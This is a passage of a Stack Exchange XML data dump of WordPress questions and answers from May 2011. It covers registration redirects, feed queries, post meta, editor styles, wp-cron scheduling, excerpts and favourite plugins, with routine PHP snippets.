AnswerCount="1" CommentCount="6" />
  <row Id="18417" PostTypeId="2" ParentId="4173" CreationDate="2011-05-27T07:35:33.320" Score="1" ViewCount="" Body="&lt;p&gt;You can also try &lt;a href=&quot;http://wordpress.org/extend/plugins/display-widgets/&quot; rel=&quot;nofollow&quot;&gt;Display Widgets&lt;/a&gt;, it gives you a drop down list with the pages and other areas that you want your widget(s) to be displayed.&lt;/p&gt;&#xA;" OwnerUserId="2048" LastActivityDate="2011-05-27T07:35:33.320" />
  <row Id="18418" PostTypeId="1" AcceptedAnswerId="18438" CreationDate="2011-05-27T07:44:38.460" Score="0" ViewCount="191" Body="&lt;p&gt;I'm using url like «wp-login.php?action=register&amp;amp;role=patient» and  «register_form» hook for add extra inputs form which depends on urls like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('register_form','add_extra_role_fields');&#xA;&#xA;function add_extra_role_fields() {&#xA;if (isset($_GET['role'])) { $user_type = $_GET['role']; }&#xA;&#xA;if (isset($user_type) &amp;amp;&amp;amp; $user_type == &quot;patient&quot;) [...] &#xA;if (isset($user_type) &amp;amp;&amp;amp; $user_type == &quot;doctor&quot;) [...]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Problem&lt;/strong&gt;: Wordpress redirects user after form validation with error to &lt;a href=&quot;http://example.com/wp-login.php?action=register&quot; rel=&quot;nofollow&quot;&gt;http://example.com/wp-login.php?action=register&lt;/a&gt; instead of &lt;a href=&quot;http://example.com/wp-login.php?action=register&amp;amp;role=patient&quot; rel=&quot;nofollow&quot;&gt;http://example.com/wp-login.php?action=register&amp;amp;role=patient&lt;/a&gt;&#xA;and all logic is broken.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question&lt;/strong&gt;: Can wordpress redirect user to previos url «?action=register&amp;amp;role=doctor» (not default «?action=register») ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Solution&lt;/strong&gt;: Thank you Jan Fabry :).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( isset($_REQUEST['role']) &amp;amp;&amp;amp; ( ($_REQUEST['role'] == 'patient') OR ($_REQUEST['role'] == 'doctor') ) ) {&#xA;&#xA;    add_filter( 'site_url', 'doctor_site_url', 10, 4 ); &#xA;&#xA;    function doctor_site_url( $url, $path, $scheme, $blog_id ) {&#xA;        if ( 'login_post' == $scheme ) {&#xA;            $url .= '&amp;amp;role='.$_REQUEST['role'];&#xA;            }&#xA;        return $url;&#xA;        }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5645" LastEditorUserId="5645" LastEditorDisplayName="" LastEditDate="2011-05-30T18:22:22.237" LastActivityDate="2011-05-30T18:22:22.237" Title="Can I change default registration link (without htaccess)?" Tags="&lt;url-rewriting&gt;&lt;redirect&gt;&lt;registration&gt;&lt;wp-redirect&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="18419" PostTypeId="1" AcceptedAnswerId="18435" CreationDate="2011-05-27T07:46:13.620" Score="0" ViewCount="92" Body="&lt;p&gt;I am having posts with images.In single post page all&#xA;   contents displaying well with image. But in blog page , the content only displaying not an image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can i make it to display &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example,&#xA;&lt;a href=&quot;http://www.beezid.com/blog&quot; rel=&quot;nofollow&quot;&gt;http://www.beezid.com/blog&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this blog displaying images with read more link&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but not in my case&#xA;&lt;a href=&quot;http://optisolbusiness.com/gonzobidz/blog/&quot; rel=&quot;nofollow&quot;&gt;http://optisolbusiness.com/gonzobidz/blog/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance !  &lt;/p&gt;&#xA;" OwnerUserId="4022" LastActivityDate="2011-05-27T12:11:03.063" Title="the_excerpt function not showing image" Tags="&lt;functions&gt;&lt;content&gt;&lt;the-excerpt&gt;" AnswerCount="1" />
  <row Id="18420" PostTypeId="2" ParentId="18412" CreationDate="2011-05-27T08:00:09.437" Score="1" ViewCount="" Body="&lt;p&gt;If you want to modify the feed, you should hook into the main query that WordPress will do on every page request. The best hook here is &lt;code&gt;pre_get_posts&lt;/code&gt;. This code example will hook into &lt;code&gt;pre_get_posts&lt;/code&gt;, check whether it is a feed, and add the post format taxonomy query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'pre_get_posts', 'wpse18412_pre_get_posts' );&#xA;function wpse18412_pre_get_posts( &amp;amp;$wp_query )&#xA;{&#xA;    if ( $wp_query-&amp;gt;is_feed() ) {&#xA;        $post_format_tax_query = array(&#xA;            'taxonomy' =&amp;gt; 'post_format',&#xA;            'field' =&amp;gt; 'slug',&#xA;            'terms' =&amp;gt; 'post-format-image', // Change this to the format you want to exclude&#xA;            'operator' =&amp;gt; 'NOT IN'&#xA;        );&#xA;        $tax_query = $wp_query-&amp;gt;get( 'tax_query' );&#xA;        if ( is_array( $tax_query ) ) {&#xA;            $tax_query = $tax_query + $post_format_tax_query;&#xA;        } else {&#xA;            $tax_query = array( $post_format_tax_query );&#xA;        }&#xA;        $wp_query-&amp;gt;set( 'tax_query', $tax_query );&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-27T08:53:38.833" LastActivityDate="2011-05-27T08:53:38.833" CommentCount="3" />
  <row Id="18421" PostTypeId="2" ParentId="10510" CreationDate="2011-05-27T08:10:31.167" Score="1" ViewCount="" Body="&lt;p&gt;It is possible that &lt;code&gt;get_the_category()&lt;/code&gt; will always return the categories in the correct order (with the deepest at the end), but if it doesn't, you could also loop over all the categories and remove those where another category points to it as their parent.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$post_categories = get_the_category();&#xA;$categories_by_id = array();&#xA;foreach ( $post_categories as $category ) {&#xA;    $categories_by_id[$category-&amp;gt;cat_ID] = $category;&#xA;}&#xA;foreach ( $post_categories as $category ) {&#xA;    unset( $categories_by_id[$category-&amp;gt;category_parent] );&#xA;}&#xA;// $categories_by_id will now only contain the deepest categories&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-27T08:10:31.167" />
  <row Id="18422" PostTypeId="1" AcceptedAnswerId="18424" CreationDate="2011-05-27T08:17:15.407" Score="0" ViewCount="28" Body="&lt;p&gt;I saved a group of data in post meta, now I need to get the meta and use them as other items. My code not working, please help me correct it, thanks!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$boxes = Array( 'height', 'width' );&#xA;&#xA;foreach ( $boxes as $data ){&#xA;$project = get_post_meta($post-&amp;gt;ID, $data, true);&#xA;}&#xA;&#xA;$item_a = $project-&amp;gt;height;&#xA;$item_b = $project-&amp;gt;width;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5210" LastActivityDate="2011-05-27T09:01:18.173" Title="How to obtain a group of post meta and assign each meta to other variables?" Tags="&lt;post-meta&gt;" AnswerCount="1" />
  <row Id="18423" PostTypeId="1" AcceptedAnswerId="18468" CreationDate="2011-05-27T08:24:55.817" Score="1" ViewCount="97" Body="&lt;p&gt;I created an options page for my theme, where I can manually edit the CSS.&lt;br&gt;&#xA;Lets say I change the CSS in the options page for the &lt;code&gt;&amp;lt;H1&amp;gt;&lt;/code&gt; tag, so it will now change it on the front-end.&lt;br&gt;&#xA;What I want to also do is have it change in the visual editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have added the function&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_editor_style(style.php);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and in the &lt;code&gt;style.php&lt;/code&gt; I have it saying in the top&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;header('Content-type: text/css');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so it recognizes the file. But now I can't get the options dynamically...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How should I achieve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is in the functions.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'mce_css', 'cnote_visual_css' );&#xA;function cnote_visual_css() {&#xA;    return get_bloginfo('template_directory') . '/cnotethegr8/global-style.php';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this is the global stylesheet&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;header('Content-type: text/css');&#xA;global $shortname;&#xA;?&amp;gt;&#xA;&#xA;h1 { &amp;lt;?php echo(get_option($shortname.'_style_h1')); ?&amp;gt; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;when i echo $shortname nothing shows...&lt;/p&gt;&#xA;" OwnerUserId="5140" LastEditorUserId="5140" LastEditorDisplayName="" LastEditDate="2011-05-27T14:47:21.870" LastActivityDate="2011-05-27T14:55:12.907" Title="Dynamically add CSS to the visual editor" Tags="&lt;visual-editor&gt;&lt;stylesheet&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="18424" PostTypeId="2" ParentId="18422" CreationDate="2011-05-27T09:01:18.173" Score="2" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;foreach ($boxes as $data) {&#xA;  $project[$data] = get_post_meta($post-&amp;gt;ID, $data, true);&#xA;}&#xA;&#xA;&#xA;$item_a = $project['height'];&#xA;$item_b = $project['width'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-05-27T09:01:18.173" CommentCount="2" />
  <row Id="18425" PostTypeId="1" AcceptedAnswerId="18426" CreationDate="2011-05-27T09:31:34.100" Score="0" ViewCount="110" Body="&lt;p&gt;I removed some widgets from the dashboard in the wrong way (using &lt;code&gt;unset()&lt;/code&gt; on &lt;code&gt;$wp_meta_boxes&lt;/code&gt;) and as a side effect my dashboard widget area is now split into 4 columns, but with just the first 2 having the normal default widgets in, thus the page is squashed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to change the amount of widget columns in the dashboard? They are all active as I can drag and drop the widgets around, but now 4 is too many. I am using Wordpress 3.1.3 so don't have the new admin interface yet.&lt;/p&gt;&#xA;" OwnerUserId="3669" LastActivityDate="2011-05-27T09:38:58.097" Title="Change number of widget columns in dashboard?" Tags="&lt;widgets&gt;&lt;dashboard&gt;" AnswerCount="1" />
  <row Id="18426" PostTypeId="2" ParentId="18425" CreationDate="2011-05-27T09:38:58.097" Score="1" ViewCount="" Body="&lt;p&gt;Under &quot;Screen Options&quot;, you can change the number of columns. Does that fix your problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/XyBEa.png&quot; alt=&quot;Dashboard with Number of Columns option visible&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-27T09:38:58.097" CommentCount="2" />
  <row Id="18427" PostTypeId="1" AcceptedAnswerId="18747" CreationDate="2011-05-27T10:05:34.577" Score="1" ViewCount="45" Body="&lt;p&gt;At the moment, Wordpress checks the wordpress core for it's updates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, I'd like to add an additional check to repeat the process for themes and plugins using a seperate address, for updating themes that are not on the core wordpress repositories, such as commercial themes and such.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible? If so how would it be done?&lt;/p&gt;&#xA;" OwnerUserId="736" LastActivityDate="2011-05-30T20:07:06.773" Title="Custom theme/plugin update checks" Tags="&lt;theme-development&gt;&lt;updates&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="18429" PostTypeId="1" AcceptedAnswerId="18456" CreationDate="2011-05-27T10:19:15.677" Score="0" ViewCount="170" Body="&lt;p&gt;There is something missing because this is driving me crazy at the moment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the wp_query with the following args.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;    'post_type'     =&amp;gt; 'project',&#xA;    'post_status'   =&amp;gt; 'publish',&#xA;    'meta_query'    =&amp;gt; array(&#xA;        array(&#xA;            'key'       =&amp;gt; '_sf_project_budget',&#xA;            'value'     =&amp;gt; '6',&#xA;            //'compare'     =&amp;gt; '=',&#xA;            //'type'        =&amp;gt; 'NUMERIC'&#xA;        )&#xA;    )       &#xA;);&#xA;$search_query = new WP_Query($args); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When print_r the $search_query I can see the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;WP_Query Object&#xA;(&#xA;    [query_vars] =&amp;gt; Array&#xA;        (&#xA;            [post_type] =&amp;gt; project&#xA;            [post_status] =&amp;gt; publish&#xA;            [meta_query] =&amp;gt; Array&#xA;                (&#xA;                    [0] =&amp;gt; Array&#xA;                        (&#xA;                            [key] =&amp;gt; _sf_project_budget&#xA;                            [value] =&amp;gt; 6&#xA;                        )&#xA;&#xA;                ) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But the &quot;SQL&quot; doesn't seem to change:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[request] =&amp;gt;  SELECT SQL_CALC_FOUND_ROWS  wps_posts.* FROM wps_posts  &#xA;WHERE 1=1  AND wps_posts.post_type = 'project' &#xA;AND (wps_posts.post_status = 'publish')  &#xA;ORDER BY wps_posts.post_date DESC LIMIT 0, 10&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Shouldn't this change to incorporate the meta query vars?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can't see what I'm doing wrong or what's missing, tried different things and it brings all the posts all the time. I checked in postmeta table and I can see that the values are there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any pointers in the right direction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="5737" LastActivityDate="2011-05-27T13:54:15.777" Title="What's missing in this wp_query and meta_query" Tags="&lt;wp-query&gt;&lt;meta-query&gt;" AnswerCount="1" CommentCount="5" />
  <row Id="18430" PostTypeId="1" CreationDate="2011-05-27T11:45:14.183" Score="0" ViewCount="45" Body="&lt;p&gt;I need help in sorting lists of posts inside a static page by a custom field value. I'm currently using the code below but it is not sorting correctly.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;            $postslist = get_posts('numberposts=15&amp;amp;order=DESC&amp;amp;meta_key=sorting&amp;amp;orderby=meta_value_number&amp;amp;tag='. get_post_meta($post-&amp;gt;ID, 'Tag', true));&#xA;            foreach ($postslist as $post) :&#xA;                setup_postdata($post);&#xA;            ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="5739" LastActivityDate="2011-05-27T12:09:29.357" Title="How to sort post listing on a page using custom field value?" Tags="&lt;custom-field&gt;&lt;customization&gt;" AnswerCount="2" />
  <row Id="18431" PostTypeId="2" ParentId="18430" CreationDate="2011-05-27T11:54:35.663" Score="1" ViewCount="" Body="&lt;p&gt;See the answers to this question: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/15839/wordpress-how-to-sort-by-meta-value&quot;&gt;WordPress how to sort by meta value?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-05-27T11:54:35.663" />
  <row Id="18432" PostTypeId="1" CreationDate="2011-05-27T12:06:10.370" Score="1" ViewCount="91" Body="&lt;p&gt;I have a site running WordPress and the Twitter Wordpress plugin (http://community.plus.net/opensource/twitter-wordpress/)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My host does not provide access to crontab, so I am looking for a way (plugin?) to run the Twitter Wordpress update automatically on a scheduled basis. According to the plugin website, this is possible: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If users wish to have&#xA;  regular/automatic updates of their&#xA;  Twitter account tweets, then that is&#xA;  achievable through creating a crontab&#xA;  entry, or similar automation&#xA;  mechanism, to execute the supplied&#xA;  “runTwitterScript.php” file.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The question is: how can I do this without cron access?&lt;/p&gt;&#xA;" OwnerUserId="5740" LastActivityDate="2011-05-27T12:37:16.563" Title="Runng Cron Job for Plugin With No CronTab Access" Tags="&lt;plugins&gt;&lt;twitter&gt;" AnswerCount="3" />
  <row Id="18433" PostTypeId="2" ParentId="18430" CreationDate="2011-05-27T12:09:29.357" Score="0" ViewCount="" Body="&lt;p&gt;You Should use &lt;strong&gt;meta_key_num&lt;/strong&gt; instead of &lt;strong&gt;meta_key_number&lt;/strong&gt;, so args for get_posts would be like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php&#xA;&#xA;$post_list_args = array(&#xA;   'numberposts' =&amp;gt; 15,&#xA;   'order' =&amp;gt; 'DESC',&#xA;   'orderby' =&amp;gt; 'meta_key_num',&#xA;   'meta_key' =&amp;gt; 'sorting',&#xA;   'tag' =&amp;gt; get_post_meta($post-&amp;gt;ID, 'Tag', true),&#xA;);&#xA;&#xA;$post_list = get_posts( $post_list_args );&#xA;foreach ( $post_list as $post ) :&#xA;   setup_postdata( $post );&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="888" LastActivityDate="2011-05-27T12:09:29.357" />
  <row Id="18434" PostTypeId="2" ParentId="18432" CreationDate="2011-05-27T12:10:31.223" Score="1" ViewCount="" Body="&lt;p&gt;WP has cron-like functionality - have a look at &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_schedule_event&quot; rel=&quot;nofollow&quot;&gt;wp_schedule_event&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's also a good little howto here: &lt;a href=&quot;http://wpengineer.com/1908/use-wordpress-cron/&quot; rel=&quot;nofollow&quot;&gt;http://wpengineer.com/1908/use-wordpress-cron/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-05-27T12:10:31.223" />
  <row Id="18435" PostTypeId="2" ParentId="18419" CreationDate="2011-05-27T12:11:03.063" Score="1" ViewCount="" Body="&lt;p&gt;If you did not set an explicit excerpt for your post in the post editor, WordPress by default calls &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.3/wp-includes/formatting.php#L1844&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_trim_excerpt()&lt;/code&gt;&lt;/a&gt; to auto-generate an excerpt. This function throws out all HTML tags to make life simple. &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.3/wp-includes/post-template.php#L219&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;the_content()&lt;/code&gt; does not do this&lt;/a&gt; when it splits your post on a &lt;code&gt;&amp;lt;!--more--&amp;gt;&lt;/code&gt; tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't want this default behavior you can &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.3/wp-includes/default-filters.php#L150&quot; rel=&quot;nofollow&quot;&gt;unhook the &lt;code&gt;wp_trim_excerpt()&lt;/code&gt; function&lt;/a&gt; and duplicate it with one of your own that does not remove HTML tags. Watch out when you split your text somewhere: call &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.3/wp-includes/formatting.php#L993&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;force_balance_tags()&lt;/code&gt;&lt;/a&gt; to make sure your excerpt does not end with &lt;code&gt;Some &amp;lt;strong&amp;gt;great news... [Read more]&lt;/code&gt;, because everything after it will be bold too. You will also have to see how this works with embedded content: if you remove some of the tags for a Flash video you also won't get what you expect.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-27T12:11:03.063" />
  <row Id="18436" PostTypeId="1" CreationDate="2011-05-27T12:16:16.807" Score="4" ViewCount="143" Body="&lt;p&gt;I'm looking at finding out what plugins others install most of the time on a fresh WordPress install; the plugins that add value to pretty much any website that is running WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My list of commonly installed plugins on a fresh WP install, in no particular order:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/contact-form-7/&quot; rel=&quot;nofollow&quot;&gt;Contact Form 7&lt;/a&gt; - Use whenever I need a contact form on the site&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/pagely-multiedit/&quot; rel=&quot;nofollow&quot;&gt;Page.ly MultiEdit&lt;/a&gt; - Use whenever I need multiple editable regions&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/login-lockdown/&quot; rel=&quot;nofollow&quot;&gt;Login LockDown&lt;/a&gt; - Always use on public facing website. Helps prevent account brute forcing.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/register-plus-redux/&quot; rel=&quot;nofollow&quot;&gt;Register Plus Redux&lt;/a&gt; Use whenever the site allows member signup.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-pagenavi/&quot; rel=&quot;nofollow&quot;&gt;WP-PageNavi&lt;/a&gt; Use whenever the site will be displaying pages upon pages of posts.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Please answer with your commonly used installed plugins on a fresh WP install.&lt;/p&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-06-03T02:50:32.997" CommunityOwnedDate="2011-05-27T12:16:52.360" Title="What plugins do you commonly install on a fresh WordPress install?" Tags="&lt;plugins&gt;&lt;install&gt;" AnswerCount="6" FavoriteCount="4" />
  <row Id="18437" PostTypeId="2" ParentId="18432" CreationDate="2011-05-27T12:18:12.203" Score="1" ViewCount="" Body="&lt;p&gt;I love this plugin here (so simple) &lt;a href=&quot;http://wordpress.org/extend/plugins/crony/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Crony Cronjob Manager&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3710" LastActivityDate="2011-05-27T12:18:12.203" CommentCount="2" />
  <row Id="18438" PostTypeId="2" ParentId="18418" CreationDate="2011-05-27T12:23:20.477" Score="0" ViewCount="" Body="&lt;p&gt;If you want to keep this information in the &lt;code&gt;$_GET&lt;/code&gt;, you will have to modify &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.1.3/wp-login.php#L515&quot; rel=&quot;nofollow&quot;&gt;the form's &lt;code&gt;action&lt;/code&gt; parameter URL&lt;/a&gt;. You can do this by hooking into &lt;code&gt;site_url&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'site_url', 'wpse18418_site_url', 10, 4 );&#xA;function wpse18418_site_url( $url, $path, $scheme, $blog_id )&#xA;{&#xA;    if ( 'login_post' == $scheme ) {&#xA;        $url .= '&amp;amp;role=doctor'; // Or do this dynamically&#xA;    }&#xA;    return $url;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But instead of always looking in the &lt;code&gt;$_GET&lt;/code&gt;, it might be a solution to save the &lt;code&gt;role&lt;/code&gt; field in a hidden field and check &lt;code&gt;$_REQUEST&lt;/code&gt; instead - it will contain both &lt;code&gt;$_GET&lt;/code&gt; and &lt;code&gt;$_POST&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-27T12:23:20.477" CommentCount="0" />
  <row Id="18439" PostTypeId="1" CreationDate="2011-05-27T12:29:14.247" Score="0" ViewCount="118" Body="&lt;p&gt;I am having problems getting pagination to work on my taxonomy archive page (taxonomy.php). I am using PageNavi for pagination and it works well on the normal category pages for posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I go to page 2 or upwards I get a 404 not found error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;URL structure: /%category%/%postname%/&#xA;Example: &lt;a href=&quot;http://www.mysite.com/country/lebanon/&quot; rel=&quot;nofollow&quot;&gt;http://www.mysite.com/country/lebanon/&lt;/a&gt; - works&#xA;Example: &lt;a href=&quot;http://www.mysite.com/country/lebanon/page/2/&quot; rel=&quot;nofollow&quot;&gt;http://www.mysite.com/country/lebanon/page/2/&lt;/a&gt; - returns 404&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To display posts on this taxonomy.php template I am using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php query_posts( array( 'post_type'=&amp;gt;'recipe', $term-&amp;gt;taxonomy=&amp;gt;$term-&amp;gt;slug ) ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help please?&lt;/p&gt;&#xA;" OwnerUserId="5317" LastActivityDate="2011-08-28T10:36:10.827" Title="Pagination problems with PageNavi and Taxonomy Archive" Tags="&lt;pagination&gt;" AnswerCount="1" />
  <row Id="18440" PostTypeId="2" ParentId="18432" CreationDate="2011-05-27T12:37:16.563" Score="0" ViewCount="" Body="&lt;p&gt;Personally I think this plugin is badly coded and should be making use of the internal wp-cron features rather than relying on an external cron.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've looked at the plugin code and the update is triggered by this function &lt;code&gt;twitterScriptMain()&lt;/code&gt;. So what we want to do is trigger this function every so often here is the code to do that every hour:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action(&quot;sc_twitterscript_cron&quot;, &quot;twitterScriptMain&quot;);&#xA;function sc_twitterscript_loaded() {&#xA;    if ( !wp_next_scheduled( 'sc_twitterscript_cron' ) ) {&#xA;        wp_schedule_event(time(), 'hourly', 'sc_twitterscript_cron');&#xA;    }&#xA;}&#xA;add_action('plugins_loaded', 'sc_twitterscript_loaded');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Add this code to your theme functions file. I haven't tested the code as I don't use this plugin. Let me know how you get on with this.&lt;/p&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-05-27T12:37:16.563" CommentCount="6" />
  <row Id="18442" PostTypeId="2" ParentId="18436" CreationDate="2011-05-27T12:50:21.550" Score="2" ViewCount="" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://dd32.id.au/wordpress-plugins/add-from-server/&quot; rel=&quot;nofollow&quot;&gt;Add From Server&lt;/a&gt; - allows you to upload files using FTP and then add them to galleries in wordpress   &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/backupwordpress/&quot; rel=&quot;nofollow&quot;&gt;BackupWordpress&lt;/a&gt; - I have had problems with backing up certain parts of the site, but still use this as it's the simplest. Getting better over time. &lt;/li&gt;&#xA;&lt;li&gt;Exclude Pages from Navigation - no explanation needed.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/invisible-defender/&quot; rel=&quot;nofollow&quot;&gt;Invisible Defender&lt;/a&gt; - this is a great anti-spam plugin, unfortunately it is discontinued but still works (perhaps someone wants to take the baton on this one?) &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-google-fonts/&quot; rel=&quot;nofollow&quot;&gt;WP Google Fonts&lt;/a&gt; - mandatory &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-maintenance-mode/&quot; rel=&quot;nofollow&quot;&gt;WP Maintenance Mode&lt;/a&gt; - could never get the countdown clock working though :(&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="4675" LastActivityDate="2011-05-27T12:50:21.550" CommunityOwnedDate="2011-05-27T12:50:21.550" />
  <row Id="18443" PostTypeId="2" ParentId="18436" CreationDate="2011-05-27T13:01:02.883" Score="1" ViewCount="" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/bad-behavior/&quot; rel=&quot;nofollow&quot;&gt;Block Bad Behavior&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.arnebrachhold.de/projects/wordpress-plugins/google-xml-sitemaps-generator/&quot; rel=&quot;nofollow&quot;&gt;Google XML Sitemaps&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/contact-form-7/&quot; rel=&quot;nofollow&quot;&gt;Contact Form 7&lt;/a&gt; (used to use Dagon Design Form Mailer).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;edit:forgot Google XML Sitemaps&lt;/p&gt;&#xA;" OwnerUserId="2709" LastEditorUserId="2709" LastEditorDisplayName="" LastEditDate="2011-05-27T21:48:56.150" LastActivityDate="2011-05-27T21:48:56.150" 